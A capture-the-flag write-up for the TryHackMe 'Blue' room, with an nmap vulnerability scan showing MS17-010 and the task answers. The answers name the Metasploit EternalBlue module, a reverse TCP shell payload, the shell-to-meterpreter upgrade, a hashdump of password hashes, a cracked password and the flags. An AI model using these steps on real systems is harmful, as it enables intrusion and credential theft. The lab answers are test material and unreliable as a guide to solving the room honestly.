THM-Blue

3/1/2022 | Yash Mhaskar

---

Nmap 7.91 scan initiated Sun Feb 27 16:45:34 2022 as: nmap -A -T4 -sV --script vuln -oN nmap.txt 10.10.188.114

Nmap scan report for 10.10.188.114 Host is up (0.18s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open tcpwrapped | rdp-vuln-ms12-020: | VULNERABLE: | MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0152 | Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P) | Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service. |
| Disclosure date: 2012-03-13 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152 | http://technet.microsoft.com/en-us/security/bulletin/ms12-020 |
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0002 | Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C) | Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system. |
| Disclosure date: 2012-03-13 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002 |_ http://technet.microsoft.com/en-us/security/bulletin/ms12-020 |_sslv2-drown: 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=2/27%OT=135%CT=1%CU=42564%PV=Y%DS=5%DC=T%G=Y%TM=621BAB OS:2E%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS= OS:7)OPS(O1=M506NW8ST11%O2=M506NW8ST11%O3=M506NW8NNT11%O4=M506NW8ST11%O5=M5 OS:06NW8ST11%O6=M506ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200 OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M506NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0% OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=80%CD=Z)

Network Distance: 5 hops Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED |_smb-vuln-ms10-054: false |smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). |
| Disclosure date: 2017-03-14 | References: | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 28.46 ms 10.17.0.1 2 ... 4 5 175.07 ms 10.10.188.114

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Sun Feb 27 16:47:42 2022 -- 1 IP address (1 host up) scanned in 128.66 seconds

Task 1

1. How many ports are open with a port number under 1000? ''' 3 '''

2. What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067) ''' ms17-010 '''

Task 2

1. Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........) ''' exploit/windows/smb/ms17_010_eternalblue '''

2. Show options and set the one required value. What is the name of this value? (All caps for submission) ''' RHOSTS '''

set payload windows/x64/shell/reverse_tcp

Task 3

1. If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected) ''' post/multi/manage/shell_to_meterpreter '''

2. Select this (use MODULE_PATH). Show options, what option are we required to change? ''' SESSION '''

Task 4

1. Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user? ''' Jon '''

2. Copy this password hash to a file and research how to crack it. What is the cracked password? ''' alqfna22 '''

Task 5

1. Flag1? This flag can be found at the system root. ''' flag{access_the_machine} '''

2. Flag2? This flag can be found at the location where passwords are stored within Windows. *Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen. ''' flag{sam_database_elevated_access} '''

3. flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved. ''' flag{admin_documents_can_be_valuable} '''